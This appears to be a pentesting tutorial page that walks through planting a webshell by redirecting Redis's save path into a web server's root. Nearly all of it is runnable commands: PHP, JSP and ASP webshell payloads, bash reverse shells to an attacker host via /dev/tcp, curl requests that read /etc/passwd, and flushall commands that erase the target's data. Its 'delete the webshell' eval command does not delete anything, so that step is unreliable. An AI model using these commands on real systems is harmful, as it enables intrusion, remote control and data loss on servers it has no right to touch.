# Redis Webshell Write – Planting a Shell via File Write

- **URL:** https://hackindex.io/services/redis/exploitation/webshell-write
- **Path:** Redis > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/redis/exploitation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-03-14

When Redis runs on a host that also serves a web application, you can redirect the Redis DB save path to the web root and write a webshell. The Redis RDB file format adds garbage bytes around your payload, but PHP, JSP, and other interpreters parse and execute only valid code: the garbage is ignored. A single PHP tag embedded in an otherwise corrupt file is enough. Prerequisites for this technique:

- CONFIG access to change `dir` and `dbfilename`
- A web server running on the target (Apache, Nginx, Tomcat)
- A known or guessable web root path
- Redis process has write permission to the web root

## Prerequisites Check

**1 - CONFIG access:**

```bash
redis-cli -h $TARGET_IP -p 6379 config get dir
```

Must return a path.

**2 - A web server is running on the target:**

```bash
nmap -p 80,443,8080,8443 $TARGET_IP
```

Confirm HTTP/HTTPS ports are open.

**3 - You know or can guess the web root path:**

Common web roots to try:

```
/var/www/html
/var/www
/usr/share/nginx/html
/srv/www/htdocs
/opt/lampp/htdocs
/var/www/html/wordpress
/var/www/html/uploads
```

Test each:

```bash
redis-cli -h $TARGET_IP -p 6379 config set dir /var/www/html
# OK
```

`OK` confirms Redis can write there.

**4 - The web server interprets the file type you write:** Know whether the target runs PHP, JSP, ASP, or another interpreted language. Match the webshell format to the server.

## Step 1 - Record Original Config

```bash
redis-cli -h $TARGET_IP -p 6379 config get dir
redis-cli -h $TARGET_IP -p 6379 config get dbfilename
```

## Step 2 - Write the Webshell Payload

Flush existing data to minimise file corruption:

```bash
redis-cli -h $TARGET_IP -p 6379 flushall
```

Shells:

#### PHP webshell

```bash
redis-cli -h $TARGET_IP -p 6379 set shell "<?php system(\$_GET['cmd']); ?>"
```

#### PHP reverse shell trigger

```bash
redis-cli -h $TARGET_IP -p 6379 set shell "<?php exec('/bin/bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"'); ?>"
```

#### JSP webshell

```bash
redis-cli -h $TARGET_IP -p 6379 set shell "<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>"
```

#### ASP webshell

```bash
redis-cli -h $TARGET_IP -p 6379 set shell "<% eval request(\"cmd\") %>"
```

## Step 3 - Save to Web Root

```bash
redis-cli -h $TARGET_IP -p 6379 config set dir /var/www/html
redis-cli -h $TARGET_IP -p 6379 config set dbfilename shell.php
redis-cli -h $TARGET_IP -p 6379 bgsave
```

Confirm the save completed:

```bash
redis-cli -h $TARGET_IP -p 6379 lastsave
```

## Step 4 - Trigger the Webshell

For the command parameter webshell:

```bash
curl "http://$TARGET_IP/shell.php?cmd=id"
curl "http://$TARGET_IP/shell.php?cmd=whoami"
curl "http://$TARGET_IP/shell.php?cmd=cat+/etc/passwd"
```

The output will contain Redis RDB garbage around it: look for your command output embedded in the response.

For a reverse shell, start your listener first:

```bash
nc -lvnp $LPORT
curl "http://$TARGET_IP/shell.php"
```

Or trigger a bash reverse shell via the command parameter:

```bash
curl "http://$TARGET_IP/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/$LHOST/$LPORT+0>%261'"
```

## Step 5 - If the Webshell Returns Garbage Only

The RDB header and footer corrupt small payloads. Try a larger PHP comment padding to push the valid PHP code away from the binary garbage:

```bash
redis-cli -h $TARGET_IP -p 6379 set shell $'\n\n<?php system($_GET["cmd"]); ?>\n\n'
```

Or empty the DB first, set only the shell key, and save immediately before any other writes corrupt the file:

```bash
redis-cli -h $TARGET_IP -p 6379 flushall
redis-cli -h $TARGET_IP -p 6379 set shell "<?php system(\$_GET['cmd']); ?>"
redis-cli -h $TARGET_IP -p 6379 bgsave
```

## Step 6 - Restore Original Config

```bash
redis-cli -h $TARGET_IP -p 6379 config set dir /var/lib/redis
redis-cli -h $TARGET_IP -p 6379 config set dbfilename dump.rdb
redis-cli -h $TARGET_IP -p 6379 flushall
redis-cli -h $TARGET_IP -p 6379 bgsave
```

Delete the webshell:

```bash
redis-cli -h $TARGET_IP -p 6379 eval "return redis.call('config','set','dir','/var/www/html')" 0
```

Or from a shell on the target:

```bash
rm /var/www/html/shell.php
```

## References

- [Redis Pentesting](https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis) - HackTricks Webshell write technique and web root path enumeration guidance.
